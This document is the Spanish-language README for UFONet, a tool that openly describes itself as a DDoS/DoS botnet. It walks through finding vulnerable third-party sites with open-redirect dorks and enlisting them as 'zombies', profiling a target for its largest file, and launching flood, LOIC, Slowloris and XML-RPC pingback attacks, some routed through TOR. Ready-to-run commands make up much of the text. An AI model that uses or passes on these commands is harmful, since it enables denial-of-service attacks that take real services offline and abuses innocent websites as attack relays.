LEEME.txt 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466
  1. ===========================================================================
  2. 888 888 8888888888 .d88888b. 888b 888 888
  3. 888 888 888 d88PY888b 8888b 888 888
  4. 888 888 888 888 888 88888b 888 888
  5. 888 888 8888888 888 888 888Y88b 888 .d88b. 888888
  6. 888 888 888 888 888 888 Y88b888 d8P Y8b 888
  7. 888 888 888 888 888 888 Y88888 88888888 888
  8. Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b.
  9. 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888
  10. ===========================================================================
  11. Bienvenida a UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
  12. ===========================================================================
  13. ###############################
  14. # Información del proyecto
  15. ###############################
  16. - Website:
  17. https://ufonet.03c8.net
  18. - IRC:
  19. irc.freenode.net - #ufonet
  20. ###############################
  21. # FAQ/Preguntas frecuentes
  22. ###############################
  23. https://ufonet.03c8.net/FAQ.html
  24. ###############################
  25. # Introducción
  26. ###############################
  27. UFONet - es una herramienta diseñada para lanzar ataques DDoS y DoS en la capa 7 (HTTP/Web Abuse),
  28. utilizando vectores 'Open Redirect' en aplicaciones web de terceros (una botnet).
  29. En los siguientes enlaces tienes más información:
  30. - CWE-601:Open Redirect:
  31. http://cwe.mitre.org/data/definitions/601.html
  32. - OWASP:URL Redirector Abuse:
  33. https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
  34. ###############################
  35. # Instalando
  36. ###############################
  37. UFONet funciona en muchas plataformas. Requiere Python (>2.7.9) y las siguientes librerías:
  38. python-pycurl - Python bindings to libcurl
  39. python-geoip - Python bindings for the GeoIP IP-to-country resolver library
  40. python-whois - Python module for retrieving WHOIS information - Python 2
  41. python-crypto - Cryptographic algorithms and protocols for Python
  42. python-requests - elegant and simple HTTP library for Python2, built for human beings
  43. Puedes obtener todas las librerías requeridas automáticamente usando:
  44. python setup.py install
  45. Para instalarlas manualmente en sistemas basados en Debian (ex: Ubuntu), lanza:
  46. sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
  47. En otros sistemas como: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... también lanzar:
  48. pip install geoip
  49. pip install requests
  50. pip install pycrypto
  51. Paquetes fuente de las librerías:
  52. * Python: https://www.python.org/downloads/
  53. * PyCurl: http://pycurl.sourceforge.net/
  54. * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
  55. * PyWhois: https://pypi.python.org/pypi/whois
  56. * PyCrypto: https://pypi.python.org/pypi/pycrypto
  57. * PyRequests: https://pypi.python.org/pypi/requests
  58. ###############################
  59. # Buscando 'zombies'
  60. ###############################
  61. UFONet puede buscar en los resultados de diferentes motores de búsqueda para encontrar posibles sitios
  62. web vulnerables a 'Open Redirect'.
  63. Generalmente los parámetros de las peticiones, suelen ser similares a los siguientes:
  64. 'proxy.php?url='
  65. 'check.cgi?url='
  66. 'checklink?uri='
  67. 'validator?uri='
  68. Por ejemplo, puedes comenzar una búsqueda con:
  69. ./ufonet -s 'proxy.php?url='
  70. O utilizando una lista de "dorks" que tengas en un fichero:
  71. ./ufonet --sd 'dorks.txt'
  72. Por defecto, UFONet utiliza un motor de búsqueda que se llama 'Yahoo'. Pero puedes elegir uno diferente:
  73. ./ufonet -s 'proxy.php?url=' --se 'bing'
  74. Ésta es la lista de motores de búsqueda que funcionan con la fecha de la última vez que se han probado:
  75. - bing [06/03/2018: OK!]
  76. - yahoo [06/03/2018: OK!]
  77. También puedes buscar masívamente utilizando todos los motores de búsqueda soportados:
  78. ./ufonet -s 'proxy.php?url=' --sa
  79. Para controlar cuantos 'zombies' recibir como resultado puedes utilizar:
  80. ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20
  81. O puedes hacer que la herramienta búsque de manera autómatica el mayor número posible de resultados
  82. (ésto puede tardar bastante tiempo!):
  83. ./ufonet --auto-search
  84. Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido,
  85. para ver si las urls son vulnerables.
  86. Want to check if they are valid zombies? (Y/n)
  87. También serás preguntado por si quieres actualizar tu lista de 'zombies' añadiendo solamente
  88. aquellas aplicaciones web que sean vulnerables.
  89. Want to update your list? (Y/n)
  90. Si respondes 'Y', tus nuevos 'zombies' se sumarán al fichero: zombies.txt
  91. -------------
  92. Ejemplos:
  93. + con detalle: ./ufonet -s 'proxy.php?url=' -v
  94. + con hilos: ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
  95. ###############################
  96. # Probando la botnet
  97. ###############################
  98. UFONet puede probar si tus 'zombies' son vulnerables y si pueden ser usados para tareas de ataque.
  99. Por ejemplo, abre 'botnet/zombies.txt' (u otro fichero) y crea una lista de posibles 'zombies'.
  100. Recuerdas que las urls de los 'zombies' deberían ser algo así:
  101. http://objetivo.com/check?uri=
  102. Después de eso, lanza:
  103. ./ufonet -t 'botnet/zombies.txt'
  104. Puedes hacer pruebas para descubrir 'zombies' relacionados con la vulnerabilidad XML-RPC Pingback, mediante:
  105. ./ufonet --test-rpc
  106. Para probar si tus 'zombies' siguen infectados (ésto puede tardar bastante tiempo!):
  107. ./ufonet --test-all
  108. Y para probar si tus 'zombies' siguen conectados a internet:
  109. ./ufonet --test-offline
  110. Finalmente, puedes ordenar a tus 'zombies' que te ataquen a ti mismo, para ver como responden a tus necesidades:
  111. ./ufonet --attack-me
  112. Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido,
  113. para ver si las urls son vulnerables.
  114. Want to check if they are valid zombies? (Y/n)
  115. Si respondes 'Y', tu fichero: "botnet/zombies.txt" será actualizado.
  116. -------------
  117. Examples:
  118. + con detalle: ./ufonet -t 'botnet/zombies.txt' -v
  119. + con proxy TOR: ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
  120. + con hilos: ./ufonet -t 'botnet/zombies.txt' --threads 50
  121. + probar botnet: ./ufonet --test-all
  122. + probar XML-RPCs: ./ufonet --test-rpc
  123. + buscar 'offlines': ./ufonet --test-offline
  124. + auto-atacarte: ./ufonet --attack-me
  125. ###############################
  126. # Inspeccionando un objetivo
  127. ###############################
  128. UFONet puede buscar el fichero más grande de tu objetivo analizándolo:
  129. ./ufonet -i http://target.com
  130. Puedes utilizar el resultado para hacer tus ataques más efectivos:
  131. ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
  132. -------------
  133. Ejemplo:
  134. +input:
  135. ./ufonet -i http://target.com
  136. +output:
  137. [...]
  138. +Image found: images/wizard.jpg
  139. (Size: 63798 Bytes)
  140. ------------
  141. +Style (.css) found: fonts.css
  142. (Size: 20448 Bytes)
  143. ------------
  144. +Webpage (.php) found: contact.php
  145. (Size: 2483 Bytes)
  146. ------------
  147. +Webpage (.php) found: about.php
  148. (Size: 1945 Bytes)
  149. ------------
  150. +Webpage (.php) found: license.php
  151. (Size: 1996 Bytes)
  152. ------------
  153. ================================================================================
  154. =Biggest File: http://target.com/images/wizard.jpg
  155. ================================================================================
  156. -------------
  157. ###############################
  158. # Abduciendo un objetivo
  159. ###############################
  160. UFONet puede entregarte bastante información interesante de tu objetivo:
  161. ./ufonet -x http://target.com
  162. -------------
  163. Ejemplo:
  164. +input:
  165. ./ufonet -x https://yahoo.com
  166. +output:
  167. [...]
  168. -Target URL: https://yahoo.com
  169. -IP : 206.190.39.42
  170. -IPv6 : OFF
  171. -Port : 443
  172. -Domain: yahoo.com
  173. -Bytes in : 550.09 KB
  174. -Load time: 9.10 seconds
  175. -Banner: ATS
  176. -Vía : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer),
  177. http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ])
  178. -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)
  179. -Reports:
  180. + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
  181. + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
  182. [...]
  183. ---------
  184. [Info] Abduction finished... ;-)
  185. -------------
  186. ###############################
  187. # Atacando un objetivo
  188. ###############################
  189. UFONet puede atacar a tus objetivos de muchas maneras.
  190. Por ejemplo, introduce un objetivo para atacar con un número de rondas:
  191. ./ufonet -a http://target.com -r 10
  192. En el ejemplo, UFONet atacará el objetivo un número de 10 veces por cada 'zombie'. De manera que si tienes una lista
  193. de 1.000 'zombies', lanzará 1.000 'zombies' x 10 rondas = 10.000 peticiones al objetivo.
  194. Por defecto se aplicará únicamente 1 ronda.
  195. Además, puedes elegir el lugar para recargar el sitio el objetivo. Por ejemplo, una imagen grande, un fichero que ocupe
  196. mucho o una película de flash. En algunos escenarios donde los objetivos no utilizan sistemas de cache, ésto hará tu
  197. ataque más efectivo.
  198. ./ufonet -a http://target.com -b "/images/big_size_image.jpg"
  199. -------------
  200. Examples:
  201. + con detalle: ./ufonet -a http://target.com -r 10 -v
  202. + con proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
  203. + con un lugar ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
  204. + con hilos: ./ufonet -a http://target.com -r 10 --threads 500
  205. ###############################
  206. # Ataques Especiales
  207. ###############################
  208. UFONet utiliza diferentes maneras para explotar las vulnerabilides 'Open Redirect'.
  209. Puedes usar UFONet para estresar la base de datos de tu objetivo mediante la petición de cadenas aleatorias válidas
  210. como si fueran búsquedas:
  211. ./ufonet -a http://target.com --db "search.php?q="
  212. También explota (por defecto) una vulnerabilidad en XML-RPC Pingback, generando peticiones que requieren respuesta e
  213. incrementando el procesamiento que requiere el objetivo.
  214. Puedes probar tu lista de zombies "X-RPCs" lanzando:
  215. ./ufonet --test-rpc
  216. Al mismo tiempo, puedes conectar un LOIC (con soporte para proxy), para hacer un número determinado de peticiones
  217. recursivas directamente sobre tu objetivo:
  218. ./ufonet -a http://target.com --loic 100
  219. Puedes conectar un LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web
  220. se vuelva lento:
  221. ./ufonet -a http://target.com --slow 100
  222. Ambos ataques pueden ser combinados, haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo:
  223. ./ufonet -a http://target.com --loic 100 --slow 100
  224. ###############################
  225. # Actualizando
  226. ###############################
  227. UFONet implementa una opción para actualizarse automáticamente a la última versión estable.
  228. Para poder hacerlo tienes que haber clonado la herramienta desde el repositorio de GitHub.
  229. Lanza el siguiente comando para chequear si necesitas actualizaciones:
  230. ./ufonet --update
  231. Ésto actualizará la herramienta automáticamente borrando todos los ficheros del anterior paquete.
  232. ###############################
  233. # Generando un 'Blackhole'
  234. ###############################
  235. UFONet tiene algunas opciones P2P para compartir/mantener 'zombies' con otras 'naves madre".
  236. * Configura un servidor web con una carpeta llamada "ufonet", con las siguientes características:
  237. - localizado en /var/www/ufonet (por defecto en debian/ubuntu)
  238. - creado por el mismo usuario que ejecuta el "agujero negro" (blackhole)
  239. - que sea accesible desde http://tu-ip/ufonet/
  240. * Comienza el "agujero negro" con: ./ufonet --blackhole (or python2 blackhole.py)
  241. * Cualquiera que quiera conectarse con tu servidor necesita configurar --up-to/--down-from con la ip
  242. de tu servidor web...
  243. [!]ATENCIÓN : ésta función "AVANZADA" puede "NO" ser segura, ejecútala si realmente lo necesitas.
  244. Para lanzar un nuevo "agujero negro", utiliza:
  245. ./ufonet --blackhole
  246. ###############################
  247. # GUI/Web Interface
  248. ###############################
  249. Puedes controlar UFONet utilizando una interfaz Web. La herramienta implementa un servidor web en python
  250. conectado al núcleo para que tengas unas experiencia más amigable.
  251. Para lanzarla usa:
  252. ./ufonet --gui
  253. Ésto abrirá una pestaña (o una ventana nueva) en tu navegador por defecto, con todas las opciones de la herramienta
  254. más algunas "extra":
  255. - NEWS: Permite leer las últimas "noticias" publicadas por la "nave madre"
  256. - MISSIONS: Permite leer las últimas "misiones" publicadas por la "nave madre"
  257. - SHIP STATS: Permite consultar las estadísticas de tu "nave"
  258. - BOARD: Permite enviar/recibir mensajes con una "nave madre" (un foro)
  259. - WARPS: Permite interactuar con una "nave madre" para subir/bajar 'zombies'
  260. - GLOBAL GRID: Permite revisar las estadísticas de otras "naves"
  261. - WARGAMES: Permite proponer e interactuar en algunos "juegos de guerra" reales
  262. ###############################
  263. # Timelog
  264. ###############################
  265. --------------------------
  266. 08.03.2018 : v.1.0
  267. --------------------------
  268. --------------------------
  269. 14.07.2017 : v.0.9b
  270. --------------------------
  271. --------------------------
  272. 21.10.2016 : v.0.8b
  273. --------------------------
  274. --------------------------
  275. 17.08.2016 : v.0.7b
  276. --------------------------
  277. --------------------------
  278. 05.11.2015 : v.0.6b
  279. --------------------------
  280. --------------------------
  281. 24.05.2015 : v.0.5b
  282. --------------------------
  283. --------------------------
  284. 15.12.2014 : v.0.4b
  285. --------------------------
  286. --------------------------
  287. 27.09.2014 : v.0.3.1b
  288. --------------------------
  289. --------------------------
  290. 20.09.2014 : v.0.3b
  291. --------------------------
  292. --------------------------
  293. 22.06.2013 : v.0.2b
  294. --------------------------
  295. --------------------------
  296. 18.06.2013 : v.0.1b
  297. --------------------------
  298. ###############################
  299. # Gracias a
  300. ###############################
  301. - UFo & Mandingo & Ikujam
  302. - Phineas Fisher ;-)
  303. - The Shadow Brokers (TSB) ;_)
  304. - World Wide Antifas >-)
  305. ------------------------
  306. ############